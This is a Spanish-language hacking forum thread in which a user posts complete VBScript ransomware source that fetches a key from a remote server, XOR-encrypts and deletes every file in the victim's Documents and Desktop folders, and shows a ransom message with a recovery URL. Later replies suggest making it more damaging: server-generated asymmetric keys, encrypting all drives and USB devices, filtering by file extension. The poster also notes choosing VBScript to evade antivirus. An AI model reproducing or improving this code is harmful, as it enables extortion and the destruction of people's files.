Foro de elhacker.net

Seguridad Informática => Análisis y Diseño de Malware => Mensaje iniciado por: Flamer en 28 Noviembre 2016, 20:18 pm



Título: Codigo De Ransomware en VBScript por Flamer
Publicado por: Flamer en 28 Noviembre 2016, 20:18 pm
Hola amigos aqui con un pequeño código que se me ocurrió hace unos días como cuando no hay nada que hacer y solo te vienen ideas de como joder mas al mundo jajajaja

Y me bino ala mente de crear un código en VBScript(ya que me gusta mas por su dificultad de detección por los AV) tipo ransomware

bueno así que ni mas ni menos aquí el código


Código
  1. option explicit
  2. dim shell,fso,document,f,password,desktop,id
  3.  
  4. set shell = createobject("wscript.shell")
  5. set fso = createobject("scripting.filesystemobject")
  6.  
  7. document = shell.SpecialFolders("MyDocuments")
  8. desktop = shell.SpecialFolders("Desktop")
  9.  
  10. set f = fso.getfolder(document)
  11. id = f.drive.serialnumber
  12.  
  13. password = Contrasena(id)
  14.  
  15. cifrar(document)
  16. cifrar(desktop)
  17.  
  18. msgbox "Para Recuperar Tus Archivos Ingresa a La Direccion:" & vbcrlf & vbcrlf & "http://practicashacking.net23.net/ransomware/Recover.php" & vbcrlf & vbcrlf & "Tu ID Es: " & id,,"Programa Finalizado"
  19.  
  20. function Contrasena(id)
  21.  dim objhttp
  22.  Set objhttp = createobject("Microsoft.XmlHttp")
  23.  
  24.  objhttp.open "POST","http://practicashacking.net23.net/ransomware/index.php",false
  25.  objhttp.setRequestHeader "Content-type", "application/x-www-form-urlencoded"
  26.  objhttp.send "id=" & id
  27.  
  28.  Contrasena = objhttp.responsetext
  29. end function
  30.  
  31. function cifrar(ruta)
  32.   dim carpeta,listfiles,listfolders,f
  33.  
  34.   set carpeta = fso.getfolder(ruta)
  35.   set listfolders = carpeta.subfolders
  36.   set listfiles = carpeta.files
  37.  
  38.   for each f in listfiles
  39.      archivo(f.path)
  40.   next
  41.  
  42.   for each f in listfolders
  43.      cifrar(f.path)
  44.   next  
  45. end function
  46.  
  47. function archivo(path)
  48.   dim file,largo,i,f,b,p,n
  49.  
  50.   set file = fso.getfile(path)
  51.  
  52.   largo=file.size
  53.  
  54.   set f = file.OpenAsTextStream()
  55.   redim bytes(largo)
  56.  
  57.   n = 1
  58.  
  59.   for i=0 to largo - 1
  60.      if n = len(password) then
  61.     n = 1
  62.  else
  63.         n = n + 1  
  64.      end if  
  65.  p = asc(mid(password,n,1))
  66.      b = asc(f.read(1)) xor p
  67.  bytes(i) = chr(b)
  68.   next
  69.  
  70.   f.close  
  71.  
  72.   set f = fso.createtextfile(file.path & ".crypt")
  73.  
  74.   for n = 0 to i - 1
  75.      f.write(bytes(n))
  76.   next
  77.  
  78.   f.close
  79.   file.delete
  80. end function
  81.  
  82.  


saludos Flamer


Título: Re: Codigo De Ransomware en VBScript por Flamer
Publicado por: engel lex en 29 Noviembre 2016, 01:16 am
no se como se hace en vbs, pero en lugar de usas winrar, podrías abrir los archivos leerlos y reescribirlos cifrados (puede ser algo tan simple como un xor, no es nada de otro mundo y facil de conseguir la password si sabes algo de analisis criptografico y no corres el riesgo que el hdd está lleno y no se puedan crear los rar)

por otro lado la contraseña debe crearse en el server por practicidad


Título: Re: Codigo De Ransomware en VBScript por Flamer
Publicado por: Flamer en 29 Noviembre 2016, 02:25 am
no se como se hace en vbs, pero en lugar de usas winrar, podrías abrir los archivos leerlos y reescribirlos cifrados (puede ser algo tan simple como un xor, no es nada de otro mundo y facil de conseguir la password si sabes algo de analisis criptografico y no corres el riesgo que el hdd está lleno y no se puedan crear los rar)

por otro lado la contraseña debe crearse en el server por practicidad

en vbs hasta donde yo se no se pueden leer archivos binarios

y lo de la password no se por que en el servidor, ya que la clave es aleatoria

y si te refieres a eso de analizar los paquetes, si verán cuando envía la clave al servidor, pero si la recibe de el creo que también la verán no crees

saludos flamer

------------------EDITO------------
ya se leer binario en vbs, encontré un código en google, creo que corregiré el codigo


Título: Re: Codigo De Ransomware en VBScript por Flamer
Publicado por: engel lex en 29 Noviembre 2016, 02:34 am
bueno, lo que pasa es que normalmente se usa cifrado asimetrico, así que no importa que vean la clave de cifrado, pero el par de la clave se genera en el servidor y ninguna la pc lo sabe


Título: Re: Codigo De Ransomware en VBScript por Flamer
Publicado por: Flamer en 19 Diciembre 2016, 03:14 am
Actualizado el código ya no hace uso del winrar y la desventaja sigue siendo que ocupa internet en la pc victima.

esa desventaja se pude arreglar pero no quiero que al analizar el ransomware vean la generación de la clave

saludos Flamer y me falta una encriptacion asimetrica mientras sera via http


Título: Re: Codigo De Ransomware en VBScript por Flamer
Publicado por: engel lex en 19 Diciembre 2016, 05:42 am
el ransomware puede tener una llave asimetrica estatica, eso no es problema, por lo menos no mientras no infecte a un punto que las compañias de AV decidan gastar dinero en romper tu clave XD


Título: Re: Codigo De Ransomware en VBScript por Flamer
Publicado por: XKC en 6 Enero 2017, 19:40 pm
Parece bastante interesante este tema, y viendo tu codigo veo que haces algo asi:
Código:
cifrar(document)
cifrar(desktop)
¿No seria tambien recomendable cifrar todos los discos (c, D, etc.. incluso si pillas algun pendrive o demás)?, y como va a ser muy lento crear un array con una lista de directorios a excluir(los directorios que no guarden informacion del usuario) y asi aumentarias el numero de archivos infectados.
PD: ¿En windows cuales son los directorios no utiles?, es decir, los que no guardan info de usuario.¿Serian estos?¿Alguno mas?
  • C:\Program Files
  • C:\Program Files(x86)
  • C:\Windows
Saludos.


Título: Re: Codigo De Ransomware en VBScript por Flamer
Publicado por: Flamer en 9 Enero 2017, 04:17 am
hola XKC si ciframos los archivos de la carpeta windows y program files creo que dejaremos el sistema dañado y ese no es el objetivo del ransomware, si no es de que te paguen por el rescate de los archivos importantes del usuario y estos suelen guardarse en las carpetas de mis documentos y el escritorio.

pero creo que seria mejor modificar el código y que busque los archivos por extensión, pero creo que saldría algún inteligente y remplazaría las extensiones por otras inventadas así el ransomware no encriptaria nada....pero en fin estoy divagando

saludos Flamer y aparte esas carpetas que mencionas piden permisos, lo que si estaría bien es que encripte las unidades conectadas tambien


Título: Re: Codigo De Ransomware en VBScript por Flamer
Publicado por: XKC en 9 Enero 2017, 12:27 pm
hola XKC si ciframos los archivos de la carpeta windows y program files creo que dejaremos el sistema dañado y ese no es el objetivo del ransomware, si no es de que te paguen por el rescate de los archivos importantes del usuario y estos suelen guardarse en las carpetas de mis documentos y el escritorio.

pero creo que seria mejor modificar el código y que busque los archivos por extensión, pero creo que saldría algún inteligente y remplazaría las extensiones por otras inventadas así el ransomware no encriptaria nada....pero en fin estoy divagando

saludos Flamer y aparte esas carpetas que mencionas piden permisos, lo que si estaría bien es que encripte las unidades conectadas tambien
No me has entendido bien, yo lo que queria decir es:
Usas un filtro para las estensiones cogiendo las utiles:
  • .zip
  • .doc
  • .txt
  • .pdf
  • etc...
Pero despues a parte, si por ejemplo tu a la funcion cifrar(que es recursiva) le pasas el parametro Desktop, solo cifrara lo que tenga el usuario en eses directorio y sus respectivos subdirectorios.Por ejemplo en este caso, solo afectaria a ese usuario, y si guarda las cosas en el disco D:\ y usa accesos directos, o las guarda en C:\, o que no todo lo tenga en esos directorios, ahi el ramsomware fallaria.
Entonces la cosa seria listar todos los discos del ordenador(C:\, D:\, E:\, etc..) y con un bucle ir llamandolos a todos respectivamente. Como ya has filtrado por extensiones no creo que corras el riesgo de dejar inutil el sistema operativo.
Aun asi tiene s el problema de que todo el ordenador(sobre todo donde esta instalado el SO es muy grande y quizas tarde mucho en recorrerlo todo), para ello he pensado que se podrian excluir algunos directorios y subdirectorios tal que asi:
  • Creas un array global que almacene dominios no validos(1)
  • En la funcion cifrar si la ruta actual es igual a laguno de esos dominios le haces un return, para que pare y no busque mas ahi
Asi de esta manera no anda buscando nada en directorios que no va a encontrar nada, es decir, lo optimizamos para que tarde menos.
No se si es buena ida hacer esto, de todas maneras si fuera asi ¿que directorios excluiriais vosotros?:
  • C:\Program Files
  • C:\Program Files(x86)
  • C:\Windows
Saludos.